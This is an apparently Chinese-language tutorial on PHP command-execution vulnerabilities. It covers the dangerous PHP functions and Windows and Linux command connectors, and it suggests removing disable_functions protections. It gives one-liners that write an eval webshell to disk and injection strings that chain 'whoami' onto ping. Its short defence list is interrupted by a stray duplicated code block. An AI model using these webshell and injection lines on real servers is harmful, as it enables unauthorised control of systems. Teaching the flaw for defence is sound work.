命令执行漏洞

发布于:2024-05-16 ⋅ 阅读:(52) ⋅ 点赞:(0)
命令执行的概念
应用程序有时需要调用一些执行系统命令的函数、如在 PHP 中,使用 system exec shell_exec
passthru popen proc_popen 等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
命令执行的原理
和代码执行一样,我们要想搞清楚命令执行,也得先了解命令执行相关的函数。
这里主要介绍 PHP 的相关函数。
先检查下 php 配置文件 php.ini 中是有禁止这是个函数。找到 disable_functions ,配置如下:
disable_functions =
如果 “disable_functions=” 后面有接上面四个函数,将其删除。
默认 php.ini 配置文件中是不禁止你调用执行外部命令的函数的。
system
string system ( string$command [, int&$return_var ] )
// PHP会操纵计算机执行whoami的命令,且输出并返回结果
system('whoami');
这里记住:目标机器是 linux 执行的就是 Bash 命令,如果是 windows 执行的就是 cmd 命令。
如果还是想写 Webshell 。可以尝试 cmd 的输出命令 :
system('echo "<?php @eval($_REQUEST[6])?>" > 1.php');
当然也可以尝试 ping 命令:
system("ping 127.0.0.1");
exec
string exec ( string$command [, array&$output [, int&$return_var ]] )
system 基本一致。
只是这个函数需要自己输出,以及只会返回最后一行数据。
echo exec('whoami');
exec('echo "<?php @eval($_REQUEST[6])?>" > 2.php');
echo exec("ping 127.0.0.1");
也可以把结果输出到数组中:
exec("dir", $dir);
print_r($dir);
system exec 的区别在于 system 在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo或 return 来查看结果,如果执行命令成功则返回 true ,否则返回 false 。第二个参数与 exec 第三个参数含义一样。
shell_exec
string shell_exec ( string $cmd )
PHP 会去操纵计算机执行相关的命令 , 且获取所有数据
$res = shell_exec("dir");
var_dump($res);
注意在 PHP 中: `` 相当于执行 shell_exec
`` 这个符号在 MySQL 数据库中,是用来屏蔽关键字的,比如 :
select * from order ;// 会报错的
select * from `order`; // 这样就不会报错
`calc`;
shell_exec('calc');
// 上面两个效果一致
passthru
void passthru ( string$command [, int&$return_var ] )
只调用命令,把命令的运行结果原样地直接输出到标准输出设备
passthru("ping 127.0.0.1");
passthru exec 的区别, passthru 直接将结果输出到浏览器,不需要使用 echo return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
popen
resource popen ( string$command , string$mode )
这个执行的返回值比较特殊,返回的是一个文件指针,需要用 fread 去读取返回值。
$res = popen("ping 127.0.0.1", 'r');
echo fread($res, 1024);
echo fread($res, 1024);
echo fread($res, 1024);
echo fread($res, 1024);
命令连接符
Windows 系列支持的管道如下所示:
"|": 直接执行后面的语句,如: ping 127.0.0.1 | whoami
"||": 如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如: ping 2 ||
whoami
"&" :如果前面的语句为假则直接执行后面的语句,前面的语句可能为假。例如: ping
127.0.0.1&whoami
"&&" :如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如: ping
127.0.0.1 && whoami
Linux 系列支持的管道如下所示:
";": 执行完前面的语句再执行后面的。如: ping 127.0.0.1 whoami
"|" :显示后面语句的执行结果。如: ping 127.0.0.1 | whoami
"||" :当前面的语句执行出错时,执行后面的语句。例如: ping 1 || whoami
"&" :如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如: Ping 127.0.0.1 &
whoami
"&&" :如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。如: ping 127.0.0.1
&& whoami
命令执行防御
针对命令执行漏洞的修复,建议:
1. 尽量不要使用命令执行函数
2. 客户端提交的变量在进入执行命令函数前要做好过滤和检测
$res = popen ( "ping 127.0.0.1" , 'r' );
echo fread ( $res , 1024 );
echo fread ( $res , 1024 );
echo fread ( $res , 1024 );
echo fread ( $res , 1024 ); 3. 在使用动态函数之前,确保使用的函数是指定的函数之一
4. php 语言来说,不能完全控制的危险函数最好不要使用